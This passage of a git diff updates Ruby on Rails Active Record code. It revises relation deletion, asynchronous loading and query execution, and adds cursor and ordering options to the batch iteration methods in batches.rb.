-      affected = @klass.connection.delete(stmt, "SQL", bound_attributes)
+        key = if model.composite_primary_key?
+          primary_key.map { |pk| table[pk] }
+        else
+          table[primary_key]
+        end
+        stmt = arel.compile_delete(key)
 
-      reset
-      affected
+        c.delete(stmt, "#{model} Delete All").tap { reset }
+      end
     end
 
-    # Deletes the row with a primary key matching the +id+ argument, using a
+    # Deletes the row with a primary key matching the +id+ argument, using an
     # SQL +DELETE+ statement, and returns the number of rows deleted. Active
     # Record objects are not instantiated, so the object's callbacks are not
     # executed, including any <tt>:dependent</tt> association options.
     #
     # You can delete multiple rows at once by passing an Array of <tt>id</tt>s.
     #
-    # Note: Although it is often much faster than the alternative,
-    # #destroy, skipping callbacks might bypass business logic in
-    # your application that ensures referential integrity or performs other
-    # essential jobs.
+    # Note: Although it is often much faster than the alternative, #destroy,
+    # skipping callbacks might bypass business logic in your application
+    # that ensures referential integrity or performs other essential jobs.
     #
     # ==== Examples
     #
@@ -538,7 +1075,119 @@ def delete_all
     #   # Delete multiple rows
     #   Todo.delete([2,3,4])
     def delete(id_or_array)
-      where(primary_key => id_or_array).delete_all
+      return 0 if id_or_array.nil? || (id_or_array.is_a?(Array) && id_or_array.empty?)
+
+      where(model.primary_key => id_or_array).delete_all
+    end
+
+
+    # Destroy an object (or multiple objects) that has the given id. The object is instantiated first,
+    # therefore all callbacks and filters are fired off before the object is deleted. This method is
+    # less efficient than #delete but allows cleanup methods and other actions to be run.
+    #
+    # This essentially finds the object (or multiple objects) with the given id, creates a new object
+    # from the attributes, and then calls destroy on it.
+    #
+    # ==== Parameters
+    #
+    # * +id+ - This should be the id or an array of ids to be destroyed.
+    #
+    # ==== Examples
+    #
+    #   # Destroy a single object
+    #   Todo.destroy(1)
+    #
+    #   # Destroy multiple objects
+    #   todos = [1,2,3]
+    #   Todo.destroy(todos)
+    def destroy(id)
+      multiple_ids = if model.composite_primary_key?
+        id.first.is_a?(Array)
+      else
+        id.is_a?(Array)
+      end
+
+      if multiple_ids
+        find(id).each(&:destroy)
+      else
+        find(id).destroy
+      end
+    end
+
+    # Finds and destroys all records matching the specified conditions.
+    # This is short-hand for <tt>relation.where(condition).destroy_all</tt>.
+    # Returns the collection of objects that were destroyed.
+    #
+    # If no record is found, returns empty array.
+    #
+    #   Person.destroy_by(id: 13)
+    #   Person.destroy_by(name: 'Spartacus', rating: 4)
+    #   Person.destroy_by("published_at < ?", 2.weeks.ago)
+    def destroy_by(*args)
+      where(*args).destroy_all
+    end
+
+    # Finds and deletes all records matching the specified conditions.
+    # This is short-hand for <tt>relation.where(condition).delete_all</tt>.
+    # Returns the number of rows affected.
+    #
+    # If no record is found, returns <tt>0</tt> as zero rows were affected.
+    #
+    #   Person.delete_by(id: 13)
+    #   Person.delete_by(name: 'Spartacus', rating: 4)
+    #   Person.delete_by("published_at < ?", 2.weeks.ago)
+    def delete_by(*args)
+      where(*args).delete_all
+    end
+
+    # Schedule the query to be performed from a background thread pool.
+    #
+    #   Post.where(published: true).load_async # => #<ActiveRecord::Relation>
+    #
+    # When the +Relation+ is iterated, if the background query wasn't executed yet,
+    # it will be performed by the foreground thread.
+    #
+    # Note that {config.active_record.async_query_executor}[https://guides.rubyonrails.org/configuring.html#config-active-record-async-query-executor] must be configured
+    # for queries to actually be executed concurrently. Otherwise it defaults to
+    # executing them in the foreground.
+    #
+    # If the query was actually executed in the background, the Active Record logs will show
+    # it by prefixing the log line with <tt>ASYNC</tt>:
+    #
+    #   ASYNC Post Load (0.0ms) (db time 2ms)  SELECT "posts".* FROM "posts" LIMIT 100
+    def load_async
+      with_connection do |c|
+        return load if !c.async_enabled?
+
+        unless loaded?
+          result = exec_main_query(async: !c.current_transaction.joinable?)
+
+          if result.is_a?(Array)
+            @records = result
+          else
+            @future_result = result
+          end
+          @loaded = true
+        end
+      end
+
+      self
+    end
+
+    def then(&block) # :nodoc:
+      if @future_result
+        @future_result.then do
+          yield self
+        end
+      else
+        super
+      end
+    end
+
+    # Returns <tt>true</tt> if the relation was scheduled on the background
+    # thread pool.
+    def scheduled?
+      !!@future_result
     end
 
     # Causes the records to be loaded from the database if they have not
@@ -548,7 +1197,10 @@ def delete(id_or_array)
     #
     #   Post.where(published: true).load # => #<ActiveRecord::Relation>
     def load(&block)
-      exec_queries(&block) unless loaded?
+      if !loaded? || scheduled?
+        @records = exec_queries(&block)
+        @loaded = true
+      end
 
       self
     end
@@ -560,42 +1212,46 @@ def reload
     end
 
     def reset
-      @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
-      @should_eager_load = @join_dependency = nil
-      @records = [].freeze
-      @offsets = {}
+      @future_result&.cancel
+      @future_result = nil
+      @delegate_to_model = false
+      @to_sql = @arel = @loaded = @should_eager_load = nil
+      @offsets = @take = nil
+      @cache_keys = nil
+      @cache_versions = nil
+      @records = nil
       self
     end
 
     # Returns sql statement for the relation.
     #
     #   User.where(name: 'Oscar').to_sql
-    #   # => SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
+    #   # SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
     def to_sql
-      @to_sql ||= begin
-                    relation = self
-
-                    if eager_loading?
-                      find_with_associations { |rel| relation = rel }
-                    end
-
-                    conn = klass.connection
-                    conn.unprepared_statement {
-                      conn.to_sql(relation.arel, relation.bound_attributes)
-                    }
-                  end
+      @to_sql ||= if eager_loading?
+        apply_join_dependency do |relation, join_dependency|
+          relation = join_dependency.apply_column_aliases(relation)
+          relation.to_sql
+        end
+      else
+        model.with_connection do |conn|
+          conn.unprepared_statement { conn.to_sql(arel) }
+        end
+      end
     end
 
     # Returns a hash of where conditions.
     #
     #   User.where(name: 'Oscar').where_values_hash
     #   # => {name: "Oscar"}
-    def where_values_hash(relation_table_name = table_name)
+    def where_values_hash(relation_table_name = model.table_name) # :nodoc:
       where_clause.to_h(relation_table_name)
     end
 
     def scope_for_create
-      @scope_for_create ||= where_values_hash.merge(create_with_value)
+      hash = where_clause.to_h(model.table_name, equality_only: true)
+      create_with_value.each { |k, v| hash[k.to_s] = v } unless create_with_value.empty?
+      hash
     end
 
     # Returns true if relation needs eager loading.
@@ -608,7 +1264,7 @@ def eager_loading?
     # Joins that are also marked for preloading. In which case we should just eager load them.
     # Note that this is a naive implementation because we could have strings and symbols which
     # represent the same association, but that aren't matched by this. Also, we could have
-    # nested hashes which partially match, e.g. { a: :b } & { a: [:b, :c] }
+    # nested hashes which partially match, e.g. <tt>{ a: :b } & { a: [:b, :c] }</tt>
     def joined_includes_values
       includes_values & joins_values
     end
@@ -625,8 +1281,13 @@ def ==(other)
       end
     end
 
-    def pretty_print(q)
-      q.pp(records)
+    def pretty_print(pp)
+      subject = loaded? ? records : annotate("loading for pp")
+      entries = subject.take([limit_value, 11].compact.min)
+
+      entries[10] = "..." if entries.size == 11
+
+      pp.pp(entries)
     end
 
     # Returns true if relation is blank.
@@ -634,73 +1295,232 @@ def blank?
       records.blank?
     end
 
+    def readonly?
+      readonly_value
+    end
+
     def values
       @values.dup
     end
 
+    def values_for_queries # :nodoc:
+      @values.except(:extending, :skip_query_cache, :strict_loading)
+    end
+
     def inspect
-      entries = records.take([limit_value, 11].compact.min).map!(&:inspect)
+      subject = loaded? ? records : annotate("loading for inspect")
+      entries = subject.take([limit_value, 11].compact.min).map!(&:inspect)
+
       entries[10] = "..." if entries.size == 11
 
       "#<#{self.class.name} [#{entries.join(', ')}]>"
     end
 
-    protected
+    def empty_scope? # :nodoc:
+      @values == model.unscoped.values
+    end
+
+    def has_limit_or_offset? # :nodoc:
+      limit_value || offset_value
+    end
 
+    def alias_tracker(joins = [], aliases = nil) # :nodoc:
+      ActiveRecord::Associations::AliasTracker.create(model.connection_pool, table.name, joins, aliases)
+    end
+
+    class StrictLoadingScope # :nodoc:
+      def self.empty_scope?
+        true
+      end
+
+      def self.strict_loading_value
+        true
+      end
+    end
+
+    def preload_associations(records) # :nodoc:
+      preload = preload_values
+      preload += includes_values unless eager_loading?
+      scope = strict_loading_value ? StrictLoadingScope : nil
+      preload.each do |associations|
+        ActiveRecord::Associations::Preloader.new(records: records, associations: associations, scope: scope).call
+      end
+    end
+
+    protected
       def load_records(records)
         @records = records.freeze
         @loaded = true
       end
 
     private
+      def already_in_scope?(registry)
+        @delegate_to_model && registry.current_scope(model, true)
+      end
+
+      def global_scope?(registry)
+        registry.global_current_scope(model, true)
+      end
+
+      def current_scope_restoring_block(&block)
+        current_scope = model.current_scope(true)
+        -> record do
+          model.current_scope = current_scope
+          yield record if block_given?
+        end
+      end
+
+      def _new(attributes, &block)
+        model.new(attributes, &block)
+      end
 
-      def has_join_values?
-        joins_values.any? || left_outer_joins_values.any?
+      def _create(attributes, &block)
+        model.create(attributes, &block)
+      end
+
+      def _create!(attributes, &block)
+        model.create!(attributes, &block)
+      end
+
+      def _scoping(scope, registry, all_queries = false)
+        previous = registry.current_scope(model, true)
+        registry.set_current_scope(model, scope)
+
+        if all_queries
+          previous_global = registry.global_current_scope(model, true)
+          registry.set_global_current_scope(model, scope)
+        end
+        yield
+      ensure
+        registry.set_current_scope(model, previous)
+        if all_queries
+          registry.set_global_current_scope(model, previous_global)
+        end
+      end
+
+      def _substitute_values(values)
+        values.map do |name, value|
+          attr = table[name]
+          if Arel.arel_node?(value)
+            if value.is_a?(Arel::Nodes::SqlLiteral)
+              value = Arel::Nodes::Grouping.new(value)
+            end
+          else
+            type = model.type_for_attribute(attr.name)
+            value = predicate_builder.build_bind_attribute(attr.name, type.cast(value))
+          end
+          [attr, value]
+        end
+      end
+
+      def _increment_attribute(attribute, value = 1)
+        bind = predicate_builder.build_bind_attribute(attribute.name, value.abs)
+        expr = table.coalesce(attribute, 0)
+        expr = value < 0 ? expr - bind : expr + bind
+        expr.expr
       end
 
       def exec_queries(&block)
-        @records = eager_loading? ? find_with_associations.freeze : @klass.find_by_sql(arel, bound_attributes, &block).freeze
-
-        preload = preload_values
-        preload += includes_values unless eager_loading?
-        preloader = nil
-        preload.each do |associations|
-          preloader ||= build_preloader
-          preloader.preload @records, associations
+        if lock_value && model.current_preventing_writes
+          raise ActiveRecord::ReadOnlyError, "Lock query attempted while in readonly mode"
         end
 
-        @records.each(&:readonly!) if readonly_value
+        skip_query_cache_if_necessary do
+          rows = if scheduled?
+            future = @future_result
+            @future_result = nil
+            future.result
+          else
+            exec_main_query
+          end
 
-        @loaded = true
-        @records
+          records = instantiate_records(rows, &block)
+          preload_associations(records) unless skip_preloading_value
+
+          records.each(&:readonly!) if readonly_value
+          records.each { |record| record.strict_loading!(strict_loading_value) } unless strict_loading_value.nil?
+
+          records
+        end
       end
 
-      def build_preloader
-        ActiveRecord::Associations::Preloader.new
+      def exec_main_query(async: false)
+        if @none
+          if async
+            return FutureResult.wrap([])
+          else
+            return []
+          end
+        end
+
+        skip_query_cache_if_necessary do
+          if where_clause.contradiction?
+            [].freeze
+          elsif eager_loading?
+            model.with_connection do |c|
+              apply_join_dependency do |relation, join_dependency|
+                if relation.null_relation?
+                  [].freeze
+                else
+                  relation = join_dependency.apply_column_aliases(relation)
+                  @_join_dependency = join_dependency
+                  c.select_all(relation.arel, "#{model.name} Eager Load", async: async)
+                end
+              end
+            end
+          else
+            model.with_connection do |c|
+              model._query_by_sql(c, arel, async: async)
+            end
+          end
+        end
+      end
+
+      def instantiate_records(rows, &block)
+        return [].freeze if rows.empty?
+        if eager_loading?
+          records = @_join_dependency.instantiate(rows, strict_loading_value, &block).freeze
+          @_join_dependency = nil
+          records
+        else
+          model._load_from_sql(rows, &block).freeze
+        end
+      end
+
+      def skip_query_cache_if_necessary(&block)
+        if skip_query_cache_value
+          model.uncached(&block)
+        else
+          yield
+        end
       end
 
       def references_eager_loaded_tables?
-        joined_tables = arel.join_sources.map do |join|
+        joined_tables = build_joins([]).flat_map do |join|
           if join.is_a?(Arel::Nodes::StringJoin)
             tables_in_string(join.left)
           else
-            [join.left.table_name, join.left.table_alias]
+            join.left.name
           end
         end
 
-        joined_tables += [table.name, table.table_alias]
+        joined_tables << table.name
 
         # always convert table names to downcase as in Oracle quoted table names are in uppercase
-        joined_tables = joined_tables.flatten.compact.map(&:downcase).uniq
+        joined_tables.map!(&:downcase)
 
-        (references_values - joined_tables).any?
+        !(references_values.map(&:to_s) - joined_tables).empty?
       end
 
       def tables_in_string(string)
         return [] if string.blank?
         # always convert table names to downcase as in Oracle quoted table names are in uppercase
         # ignore raw_sql_ that is used by Oracle adapter as alias for limit/offset subqueries
-        string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map(&:downcase).uniq - ["raw_sql_"]
+        string.scan(/[a-zA-Z_][.\w]+(?=.?\.)/).map!(&:downcase) - ["raw_sql_"]
+      end
+
+      def limited_count
+        limit_value ? count : limit(2).count
       end
   end
 end
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index 76031515fddfd..f291b80b8f1b6 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 require "active_record/relation/batches/batch_enumerator"
 
 module ActiveRecord
+  # = Active Record \Batches
   module Batches
-    ORDER_IGNORE_MESSAGE = "Scoped order is ignored, it's forced to be batch order."
+    ORDER_IGNORE_MESSAGE = "Scoped order is ignored, use :cursor with :order to configure custom order."
+    DEFAULT_ORDER = :asc
 
     # Looping through a collection of records from the database
     # (using the Scoping::Named::ClassMethods.all method, for example)
@@ -30,14 +34,26 @@ module Batches
     #   end
     #
     # ==== Options
-    # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
-    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
-    # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value.
+    # * <tt>:batch_size</tt> - Specifies the size of the batch. Defaults to 1000.
+    # * <tt>:start</tt> - Specifies the cursor column value to start from, inclusive of the value.
+    # * <tt>:finish</tt> - Specifies the cursor column value to end at, inclusive of the value.
     # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when
-    #                               an order is present in the relation.
+    #   an order is present in the relation.
+    # * <tt>:cursor</tt> - Specifies the column to use for batching (can be a column name or an array
+    #   of column names). Defaults to primary key.
+    # * <tt>:order</tt> - Specifies the cursor column order (can be +:asc+ or +:desc+ or an array consisting
+    #   of :asc or :desc). Defaults to +:asc+.
+    #
+    #     class Order < ActiveRecord::Base
+    #       self.primary_key = [:id_1, :id_2]
+    #     end
+    #
+    #     Order.find_each(order: [:asc, :desc])
+    #
+    #   In the above code, +id_1+ is sorted in ascending order and +id_2+ in descending order.
     #
     # Limits are honored, and if present there is no requirement for the batch
-    # size, it can be less than, equal, or greater than the limit.
+    # size: it can be less than, equal to, or greater than the limit.
     #
     # The options +start+ and +finish+ are especially useful if you want
     # multiple workers dealing with the same processing queue. You can make
@@ -45,27 +61,37 @@ module Batches
     # handle from 10000 and beyond by setting the +:start+ and +:finish+
     # option on each worker.
     #
-    #   # Let's process from record 10_000 on.
+    #   # In worker 1, let's process until 9999 records.
+    #   Person.find_each(finish: 9_999) do |person|
+    #     person.party_all_night!
+    #   end
+    #
+    #   # In worker 2, let's process from record 10_000 and onwards.
     #   Person.find_each(start: 10_000) do |person|
     #     person.party_all_night!
     #   end
     #
-    # NOTE: It's not possible to set the order. That is automatically set to
-    # ascending on the primary key ("id ASC") to make the batch ordering
-    # work. This also means that this method only works when the primary key is
+    # NOTE: Order can be ascending (:asc) or descending (:desc). It is automatically set to
+    # ascending on the primary key ("id ASC").
+    # This also means that this method only works when the cursor column is
     # orderable (e.g. an integer or string).
     #
+    # NOTE: When using custom columns for batching, they should include at least one unique column
+    # (e.g. primary key) as a tiebreaker. Also, to reduce the likelihood of race conditions,
+    # all columns should be static (unchangeable after it was set).
+    #
     # NOTE: By its nature, batch processing is subject to race conditions if
     # other processes are modifying the database.
-    def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil)
+    def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, cursor: primary_key, order: DEFAULT_ORDER, &block)
       if block_given?
-        find_in_batches(start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do |records|
-          records.each { |record| yield record }
+        find_in_batches(start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, cursor: cursor, order: order) do |records|
+          records.each(&block)
         end
       else
-        enum_for(:find_each, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do
+        enum_for(:find_each, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, cursor: cursor, order: order) do
           relation = self
-          apply_limits(relation, start, finish).size
+          cursor = Array(cursor)
+          apply_limits(relation, cursor, start, finish, build_batch_orders(cursor, order)).size
         end
       end
     end
@@ -89,14 +115,26 @@ def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil)
     # To be yielded each record one by one, use #find_each instead.
     #
     # ==== Options
-    # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
-    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
-    # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value.
+    # * <tt>:batch_size</tt> - Specifies the size of the batch. Defaults to 1000.
+    # * <tt>:start</tt> - Specifies the cursor column value to start from, inclusive of the value.
+    # * <tt>:finish</tt> - Specifies the cursor column value to end at, inclusive of the value.
     # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when
-    #                               an order is present in the relation.
+    #   an order is present in the relation.
+    # * <tt>:cursor</tt> - Specifies the column to use for batching (can be a column name or an array
+    #   of column names). Defaults to primary key.
+    # * <tt>:order</tt> - Specifies the cursor column order (can be +:asc+ or +:desc+ or an array consisting
+    #   of :asc or :desc). Defaults to +:asc+.
+    #
+    #     class Order < ActiveRecord::Base
+    #       self.primary_key = [:id_1, :id_2]
+    #     end
+    #
+    #     Order.find_in_batches(order: [:asc, :desc])
+    #
+    #   In the above code, +id_1+ is sorted in ascending order and +id_2+ in descending order.
     #
     # Limits are honored, and if present there is no requirement for the batch
-    # size, it can be less than, equal, or greater than the limit.
+    # size: it can be less than, equal to, or greater than the limit.
     #
     # The options +start+ and +finish+ are especially useful if you want
     # multiple workers dealing with the same processing queue. You can make
@@ -109,23 +147,28 @@ def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil)
     #     group.each { |person| person.party_all_night! }
     #   end
     #
-    # NOTE: It's not possible to set the order. That is automatically set to
-    # ascending on the primary key ("id ASC") to make the batch ordering
-    # work. This also means that this method only works when the primary key is
+    # NOTE: Order can be ascending (:asc) or descending (:desc). It is automatically set to
+    # ascending on the primary key ("id ASC").
+    # This also means that this method only works when the cursor column is
     # orderable (e.g. an integer or string).
     #
+    # NOTE: When using custom columns for batching, they should include at least one unique column
+    # (e.g. primary key) as a tiebreaker. Also, to reduce the likelihood of race conditions,
+    # all columns should be static (unchangeable after it was set).
+    #
     # NOTE: By its nature, batch processing is subject to race conditions if
     # other processes are modifying the database.
-    def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil)
+    def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, cursor: primary_key, order: DEFAULT_ORDER)
       relation = self
       unless block_given?
-        return to_enum(:find_in_batches, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore) do
-          total = apply_limits(relation, start, finish).size
+        return to_enum(:find_in_batches, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, cursor: cursor, order: order) do
+          cursor = Array(cursor)
+          total = apply_limits(relation, cursor, start, finish, build_batch_orders(cursor, order)).size
           (total - 1).div(batch_size) + 1
         end
       end
 
-      in_batches(of: batch_size, start: start, finish: finish, load: true, error_on_ignore: error_on_ignore) do |batch|
+      in_batches(of: batch_size, start: start, finish: finish, load: true, error_on_ignore: error_on_ignore, cursor: cursor, order: order) do |batch|
         yield batch.to_a
       end
     end
@@ -140,9 +183,9 @@ def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore:
     # If you do not provide a block to #in_batches, it will return a
     # BatchEnumerator which is enumerable.
     #
-    #   Person.in_batches.with_index do |relation, batch_index|
+    #   Person.in_batches.each_with_index do |relation, batch_index|
     #     puts "Processing relation ##{batch_index}"
-    #     relation.each { |relation| relation.delete_all }
+    #     relation.delete_all
     #   end
     #
     # Examples of calling methods on the returned BatchEnumerator object:
@@ -152,12 +195,30 @@ def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore:
     #   Person.in_batches.each_record(&:party_all_night!)
     #
     # ==== Options
-    # * <tt>:of</tt> - Specifies the size of the batch. Default to 1000.
-    # * <tt>:load</tt> - Specifies if the relation should be loaded. Default to false.
-    # * <tt>:start</tt> - Specifies the primary key value to start from, inclusive of the value.
-    # * <tt>:finish</tt> - Specifies the primary key value to end at, inclusive of the value.
+    # * <tt>:of</tt> - Specifies the size of the batch. Defaults to 1000.
+    # * <tt>:load</tt> - Specifies if the relation should be loaded. Defaults to false.
+    # * <tt>:start</tt> - Specifies the cursor column value to start from, inclusive of the value.
+    # * <tt>:finish</tt> - Specifies the cursor column value to end at, inclusive of the value.
     # * <tt>:error_on_ignore</tt> - Overrides the application config to specify if an error should be raised when
-    #                               an order is present in the relation.
+    #   an order is present in the relation.
+    # * <tt>:cursor</tt> - Specifies the column to use for batching (can be a column name or an array
+    #   of column names). Defaults to primary key.
+    # * <tt>:order</tt> - Specifies the cursor column order (can be +:asc+ or +:desc+ or an array consisting
+    #   of :asc or :desc). Defaults to +:asc+.
+    #
+    #     class Order < ActiveRecord::Base
+    #       self.primary_key = [:id_1, :id_2]
+    #     end
+    #
+    #     Order.in_batches(order: [:asc, :desc])
+    #
+    #   In the above code, +id_1+ is sorted in ascending order and +id_2+ in descending order.
+    #
+    # * <tt>:use_ranges</tt> - Specifies whether to use range iteration (id >= x AND id <= y).
+    #   It can make iterating over the whole or almost whole tables several times faster.
+    #   Only whole table iterations use this style of iteration by default. You can disable this behavior by passing +false+.
+    #   If you iterate over the table and the only condition is, e.g., <tt>archived_at: nil</tt> (and only a tiny fraction
+    #   of the records are archived), it makes sense to opt in to this approach.
     #
     # Limits are honored, and if present there is no requirement for the batch
     # size, it can be less than, equal, or greater than the limit.
@@ -184,89 +245,261 @@ def find_in_batches(start: nil, finish: nil, batch_size: 1000, error_on_ignore:
     #
     #   Person.in_batches.each_record(&:party_all_night!)
     #
-    # NOTE: It's not possible to set the order. That is automatically set to
-    # ascending on the primary key ("id ASC") to make the batch ordering
-    # consistent. Therefore the primary key must be orderable, e.g an integer
-    # or a string.
+    # NOTE: Order can be ascending (:asc) or descending (:desc). It is automatically set to
+    # ascending on the primary key ("id ASC").
+    # This also means that this method only works when the cursor column is
+    # orderable (e.g. an integer or string).
+    #
+    # NOTE: When using custom columns for batching, they should include at least one unique column
+    # (e.g. primary key) as a tiebreaker. Also, to reduce the likelihood of race conditions,
+    # all columns should be static (unchangeable after it was set).
     #
     # NOTE: By its nature, batch processing is subject to race conditions if
     # other processes are modifying the database.
-    def in_batches(of: 1000, start: nil, finish: nil, load: false, error_on_ignore: nil)
-      relation = self
-      unless block_given?
-        return BatchEnumerator.new(of: of, start: start, finish: finish, relation: self)
-      end
+    def in_batches(of: 1000, start: nil, finish: nil, load: false, error_on_ignore: nil, cursor: primary_key, order: DEFAULT_ORDER, use_ranges: nil, &block)
+      cursor = Array(cursor).map(&:to_s)
+      ensure_valid_options_for_batching!(cursor, start, finish, order)
 
       if arel.orders.present?
         act_on_ignored_order(error_on_ignore)
       end
 
+      unless block
+        return BatchEnumerator.new(of: of, start: start, finish: finish, relation: self, cursor: cursor, order: order, use_ranges: use_ranges)
+      end
+
       batch_limit = of
+
       if limit_value
         remaining   = limit_value
         batch_limit = remaining if remaining < batch_limit
       end
 
-      relation = relation.reorder(batch_order).limit(batch_limit)
-      relation = apply_limits(relation, start, finish)
-      batch_relation = relation
-
-      loop do
-        if load
-          records = batch_relation.records
-          ids = records.map(&:id)
-          yielded_relation = where(primary_key => ids)
-          yielded_relation.load_records(records)
-        else
-          ids = batch_relation.pluck(primary_key)
-          yielded_relation = where(primary_key => ids)
+      if self.loaded?
+        batch_on_loaded_relation(
+          relation: self,
+          start: start,
+          finish: finish,
+          cursor: cursor,
+          order: order,
+          batch_limit: batch_limit,
+          &block
+        )
+      else
+        batch_on_unloaded_relation(
+          relation: self,
+          start: start,
+          finish: finish,
+          load: load,
+          cursor: cursor,
+          order: order,
+          use_ranges: use_ranges,
+          remaining: remaining,
+          batch_limit: batch_limit,
+          &block
+        )
+      end
+    end
+
+    private
+      def ensure_valid_options_for_batching!(cursor, start, finish, order)
+        if start && Array(start).size != cursor.size
+          raise ArgumentError, ":start must contain one value per cursor column"
         end
 
-        break if ids.empty?
+        if finish && Array(finish).size != cursor.size
+          raise ArgumentError, ":finish must contain one value per cursor column"
+        end
 
-        primary_key_offset = ids.last
-        raise ArgumentError.new("Primary key not included in the custom select clause") unless primary_key_offset
+        if (Array(primary_key) - cursor).any?
+          indexes = model.schema_cache.indexes(table_name)
+          unique_index = indexes.find { |index| index.unique && index.where.nil? && (Array(index.columns) - cursor).empty? }
 
-        yield yielded_relation
+          unless unique_index
+            raise ArgumentError, ":cursor must include a primary key or other unique column(s)"
+          end
+        end
 
-        break if ids.length < batch_limit
+        if (Array(order) - [:asc, :desc]).any?
+          raise ArgumentError, ":order must be :asc or :desc or an array consisting of :asc or :desc, got #{order.inspect}"
+        end
+      end
 
-        if limit_value
-          remaining -= ids.length
+      def apply_limits(relation, cursor, start, finish, batch_orders)
+        relation = apply_start_limit(relation, cursor, start, batch_orders) if start
+        relation = apply_finish_limit(relation, cursor, finish, batch_orders) if finish
+        relation
+      end
 
-          if remaining == 0
-            # Saves a useless iteration when the limit is a multiple of the
-            # batch size.
-            break
-          elsif remaining < batch_limit
-            relation = relation.limit(remaining)
-          end
+      def apply_start_limit(relation, cursor, start, batch_orders)
+        operators = batch_orders.map do |_column, order|
+          order == :desc ? :lteq : :gteq
         end
+        batch_condition(relation, cursor, start, operators)
+      end
 
-        batch_relation = relation.where(arel_attribute(primary_key).gt(primary_key_offset))
+      def apply_finish_limit(relation, cursor, finish, batch_orders)
+        operators = batch_orders.map do |_column, order|
+          order == :desc ? :gteq : :lteq
+        end
+        batch_condition(relation, cursor, finish, operators)
       end
-    end
 
-    private
+      def batch_condition(relation, cursor, values, operators)
+        cursor_positions = cursor.zip(Array(values), operators)
 
-      def apply_limits(relation, start, finish)
-        relation = relation.where(arel_attribute(primary_key).gteq(start)) if start
-        relation = relation.where(arel_attribute(primary_key).lteq(finish)) if finish
-        relation
+        first_clause_column, first_clause_value, operator = cursor_positions.pop
+        where_clause = predicate_builder[first_clause_column, first_clause_value, operator]
+
+        cursor_positions.reverse_each do |column_name, value, operator|
+          where_clause = predicate_builder[column_name, value, operator == :lteq ? :lt : :gt].or(
+            predicate_builder[column_name, value, :eq].and(where_clause)
+          )
+        end
+
+        relation.where(where_clause)
       end
 
-      def batch_order
-        "#{quoted_table_name}.#{quoted_primary_key} ASC"
+      def build_batch_orders(cursor, order)
+        cursor.zip(Array(order)).map do |column, order_|
+          [column, order_ || DEFAULT_ORDER]
+        end
       end
 
       def act_on_ignored_order(error_on_ignore)
-        raise_error = (error_on_ignore.nil? ? klass.error_on_ignored_order : error_on_ignore)
+        raise_error = (error_on_ignore.nil? ? ActiveRecord.error_on_ignored_order : error_on_ignore)
 
         if raise_error
           raise ArgumentError.new(ORDER_IGNORE_MESSAGE)
-        elsif logger
-          logger.warn(ORDER_IGNORE_MESSAGE)
+        elsif model.logger
+          model.logger.warn(ORDER_IGNORE_MESSAGE)
+        end
+      end
+
+      def batch_on_loaded_relation(relation:, start:, finish:, cursor:, order:, batch_limit:)
+        records = relation.to_a
+        order = build_batch_orders(cursor, order).map(&:second)
+
+        if start || finish
+          records = records.filter do |record|
+            values = record_cursor_values(record, cursor)
+
+            (start.nil? || compare_values_for_order(values, Array(start), order) >= 0) &&
+              (finish.nil? || compare_values_for_order(values, Array(finish), order) <= 0)
+          end
+        end
+
+        records.sort! do |record1, record2|
+          values1 = record_cursor_values(record1, cursor)
+          values2 = record_cursor_values(record2, cursor)
+          compare_values_for_order(values1, values2, order)
+        end
+
+        records.each_slice(batch_limit) do |subrecords|
+          subrelation = relation.spawn
+          subrelation.load_records(subrecords)
+
+          yield subrelation
         end
+
+        nil
+      end
+
+      def record_cursor_values(record, cursor)
+        record.attributes.slice(*cursor).values
+      end
+
+      # This is a custom implementation of `<=>` operator,
+      # which also takes into account how the collection will be ordered.
+      def compare_values_for_order(values1, values2, order)
+        values1.each_with_index do |element1, index|
+          element2 = values2[index]
+          direction = order[index]
+          comparison = element1 <=> element2
+          comparison = -comparison if direction == :desc
+          return comparison if comparison != 0
+        end
+
+        0
+      end
+
+      def batch_on_unloaded_relation(relation:, start:, finish:, load:, cursor:, order:, use_ranges:, remaining:, batch_limit:)
+        batch_orders = build_batch_orders(cursor, order)
+        relation = relation.reorder(batch_orders.to_h).limit(batch_limit)
+        relation = apply_limits(relation, cursor, start, finish, batch_orders)
+        relation.skip_query_cache! # Retaining the results in the query cache would undermine the point of batching
+        batch_relation = relation
+        empty_scope = to_sql == model.unscoped.all.to_sql
+
+        loop do
+          if load
+            records = batch_relation.records
+            values = records.pluck(*cursor)
+            values_size = values.size
+            values_last = values.last
+            yielded_relation = rewhere(cursor => values)
+            yielded_relation.load_records(records)
+          elsif (empty_scope && use_ranges != false) || use_ranges
+            # Efficiently peak at the last value for the next batch using offset and limit.
+            values_size = batch_limit
+            values_last = batch_relation.offset(batch_limit - 1).pick(*cursor)
+
